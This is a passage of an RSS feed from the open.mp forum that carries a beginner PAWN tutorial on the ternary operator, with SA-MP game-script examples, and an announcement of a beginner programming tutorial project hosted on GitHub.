<span style="color: #e8c500;" class="mycode_color"><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">- How to build a ternary operator?</span></span></span><br />
<br />
<br />
<br />
Building a ternary operator is simple, its own structure is self-explanatory.<br />
<br />
<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">(</span><span style="color: #0000BB">condition&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">if&nbsp;</span><span style="color: #0000BB">true&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">if&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">)&nbsp;<br /></span></code></div></div></div><br />
<br />
<br />
To better understand, we can see that the '?' acts as an if and the ':' acts as the else.<br />
<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #e8c500;" class="mycode_color"><span style="font-size: large;" class="mycode_size">- In what situations will I use the ternary operator?</span></span></span><br />
<br />
<br />
<br />
This is a relative question, it depends a lot on the type of logic that you will build for your system, but as stated in the first question we will use the ternary operator for situations in which there are only 2 possibilities of return. Remembering that the ternary operator is not limited to returning only number values, but can also return strings and other options.<br />
<br />
<br />
<br />
Example of a string with a ternary operator:<br />
<br />
<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">SendClientMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">playerid</span><span style="color: #007700">,&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;(</span><span style="color: #0000BB">playerData</span><span style="color: #007700">[</span><span style="color: #0000BB">playerid</span><span style="color: #007700">][</span><span style="color: #0000BB">pAdmin</span><span style="color: #007700">]&nbsp;&gt;&nbsp;</span><span style="color: #0000BB">0&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #DD0000">"True"&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #DD0000">"false"</span><span style="color: #007700">));&nbsp;<br /></span></code></div></div></div><br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #e8c500;" class="mycode_color"><span style="font-size: large;" class="mycode_size">- Problems with ternary operator</span></span></span><br />
<br />
<br />
<br />
The main problem with the ternary operator is its structure, which because it is very compact, its structure can be difficult to read by programmers who are not used to it.<br />
<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #e8c500;" class="mycode_color"><span style="font-size: large;" class="mycode_size">- End</span></span></span><br />
<br />
<br />
<br />
This is my first personal authoring tutorial, i hope you like it and criticism will always be welcome!]]></description>
			<content:encoded><![CDATA[<span style="color: #e8c500;" class="mycode_color"><span style="font-size: large;" class="mycode_size"><span style="color: #202124;" class="mycode_color"><span style="font-size: small;" class="mycode_size"><span style="font-family: Tahoma, Verdana, Arial, sans-serif;" class="mycode_font"><span style="font-weight: bold;" class="mycode_b"><span style="font-style: italic;" class="mycode_i">"Sorry for the bad English, I'm using the translator to do this tutorial."</span></span></span></span></span></span></span><br />
<br />
<br />
<br />
<span style="color: #e8c500;" class="mycode_color"><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">- What is a ternary operator?</span></span></span><br />
<br />
<br />
<br />
In various situations in programming we need to deal with various scenarios, through conditional structures, such as if, else and switch. However, in some situations we deal with wave situations there are only 2 possible returns.<br />
<br />
<br />
<br />
For example, let's imagine a hypothetical situation, in which if the player is an administrator he wins &#36; 1500, otherwise he will win &#36; 500.<br />
<br />
We can do this logic using the if and else operator:<br />
<br />
<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">PlayerData</span><span style="color: #007700">[</span><span style="color: #0000BB">playerid</span><span style="color: #007700">][</span><span style="color: #0000BB">pAdmin</span><span style="color: #007700">]&nbsp;&gt;&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br /><br />{?&nbsp;?&nbsp;?&nbsp;?&nbsp;?&nbsp;<br /><br />?&nbsp;?&nbsp;</span><span style="color: #0000BB">GivePlayerMoney</span><span style="color: #007700">(</span><span style="color: #0000BB">playerid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">1500</span><span style="color: #007700">);<br /><br /><br /><br />}&nbsp;<br /><br />else<br /><br />{<br /><br />?&nbsp;?&nbsp;</span><span style="color: #0000BB">GivePlayerMoney</span><span style="color: #007700">(</span><span style="color: #0000BB">playerid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">500</span><span style="color: #007700">);<br /><br />}&nbsp;<br /></span></code></div></div></div><br />
<br />
<br />
Now notice that we are making a relatively long structure for a simple action, with only two possibilities. Is there no other way to write this code in a simpler way? Yes, there is, and that is what the ternary operator is for:<br />
<br />
<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">GivePlayerMoney</span><span style="color: #007700">(</span><span style="color: #0000BB">playerid</span><span style="color: #007700">,&nbsp;(</span><span style="color: #0000BB">PlayerData</span><span style="color: #007700">[</span><span style="color: #0000BB">playerid</span><span style="color: #007700">][</span><span style="color: #0000BB">pAdmin</span><span style="color: #007700">]&nbsp;&gt;&nbsp;</span><span style="color: #0000BB">0&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #0000BB">1500&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">500</span><span style="color: #007700">));&nbsp;<br /></span></code></div></div></div><br />
<br />
<br />
Now we did the same action with just one line of code, however let's understand a little bit about how to build a ternary operator.<br />
<br />
<br />
<br />
<span style="color: #e8c500;" class="mycode_color"><span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">- How to build a ternary operator?</span></span></span><br />
<br />
<br />
<br />
Building a ternary operator is simple, its own structure is self-explanatory.<br />
<br />
<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #007700">(</span><span style="color: #0000BB">condition&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">if&nbsp;</span><span style="color: #0000BB">true&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">if&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">)&nbsp;<br /></span></code></div></div></div><br />
<br />
<br />
To better understand, we can see that the '?' acts as an if and the ':' acts as the else.<br />
<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #e8c500;" class="mycode_color"><span style="font-size: large;" class="mycode_size">- In what situations will I use the ternary operator?</span></span></span><br />
<br />
<br />
<br />
This is a relative question, it depends a lot on the type of logic that you will build for your system, but as stated in the first question we will use the ternary operator for situations in which there are only 2 possibilities of return. Remembering that the ternary operator is not limited to returning only number values, but can also return strings and other options.<br />
<br />
<br />
<br />
Example of a string with a ternary operator:<br />
<br />
<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Code:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">SendClientMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">playerid</span><span style="color: #007700">,&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;(</span><span style="color: #0000BB">playerData</span><span style="color: #007700">[</span><span style="color: #0000BB">playerid</span><span style="color: #007700">][</span><span style="color: #0000BB">pAdmin</span><span style="color: #007700">]&nbsp;&gt;&nbsp;</span><span style="color: #0000BB">0&nbsp;</span><span style="color: #007700">?&nbsp;</span><span style="color: #DD0000">"True"&nbsp;</span><span style="color: #007700">:&nbsp;</span><span style="color: #DD0000">"false"</span><span style="color: #007700">));&nbsp;<br /></span></code></div></div></div><br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #e8c500;" class="mycode_color"><span style="font-size: large;" class="mycode_size">- Problems with ternary operator</span></span></span><br />
<br />
<br />
<br />
The main problem with the ternary operator is its structure, which because it is very compact, its structure can be difficult to read by programmers who are not used to it.<br />
<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #e8c500;" class="mycode_color"><span style="font-size: large;" class="mycode_size">- End</span></span></span><br />
<br />
<br />
<br />
This is my first personal authoring tutorial, i hope you like it and criticism will always be welcome!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[CODE: A Hands-on Approach]]></title>
			<link>https://forum.open.mp/showthread.php?tid=1424</link>
			<pubDate>Wed, 16 Dec 2020 02:01:48 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.open.mp/member.php?action=profile&uid=3126">phlair</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.open.mp/showthread.php?tid=1424</guid>
			<description><![CDATA[<span style="font-size: large;" class="mycode_size"><span style="font-family: Verdana;" class="mycode_font"><span style="text-decoration: underline;" class="mycode_u">Information</span></span></span><br />
<br />
<br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana;" class="mycode_font">CODE: A Hands-on Approach (cahoa) is a project that aims to serve as a hands-on tutorial for teaching programming (via PAWN, and currently SA-MP). People of different skill levels/experience will benefit from this, but it is mainly targeted at beginners.</span></span><br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-family: Verdana;" class="mycode_font"><span style="text-decoration: underline;" class="mycode_u">Details</span></span></span><br />
<br />
<br />
<br />
<span style="font-size: small;" class="mycode_size">You'll find the most up to date draft as a GitHub Gist <a href="https://gist.github.com/lagoevia/1d2daa353c2dac189273d80e3af2f333" target="_blank" rel="noopener" class="mycode_url">here</a></span><br />
<br />
<br />
<br />
<span style="font-size: small;" class="mycode_size">I look forward to your responses and feedback!</span><br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-family: Verdana;" class="mycode_font"><span style="text-decoration: underline;" class="mycode_u">Update</span></span></span><br />
<br />
<br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana;" class="mycode_font">The Git Repository is live, and can be found?<a href="https://github.com/lagoevia/cahoa" target="_blank" rel="noopener" class="mycode_url">on GitHub</a></span></span></span><br />
<br />
<br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana;" class="mycode_font">I'll update it over time, and give some progress updates here and on Discord.</span></span>]]></description>
			<content:encoded><![CDATA[<span style="font-size: large;" class="mycode_size"><span style="font-family: Verdana;" class="mycode_font"><span style="text-decoration: underline;" class="mycode_u">Information</span></span></span><br />
<br />
<br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana;" class="mycode_font">CODE: A Hands-on Approach (cahoa) is a project that aims to serve as a hands-on tutorial for teaching programming (via PAWN, and currently SA-MP). People of different skill levels/experience will benefit from this, but it is mainly targeted at beginners.</span></span><br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-family: Verdana;" class="mycode_font"><span style="text-decoration: underline;" class="mycode_u">Details</span></span></span><br />
<br />
<br />
<br />
<span style="font-size: small;" class="mycode_size">You'll find the most up to date draft as a GitHub Gist <a href="https://gist.github.com/lagoevia/1d2daa353c2dac189273d80e3af2f333" target="_blank" rel="noopener" class="mycode_url">here</a></span><br />
<br />
<br />
<br />
<span style="font-size: small;" class="mycode_size">I look forward to your responses and feedback!</span><br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-family: Verdana;" class="mycode_font"><span style="text-decoration: underline;" class="mycode_u">Update</span></span></span><br />
<br />
<br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana;" class="mycode_font">The Git Repository is live, and can be found?<a href="https://github.com/lagoevia/cahoa" target="_blank" rel="noopener" class="mycode_url">on GitHub</a></span></span></span><br />
<br />
<br />
<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana;" class="mycode_font">I'll update it over time, and give some progress updates here and on Discord.</span></span>]]></content:encoded>
		</item>
	</channel>
</rss>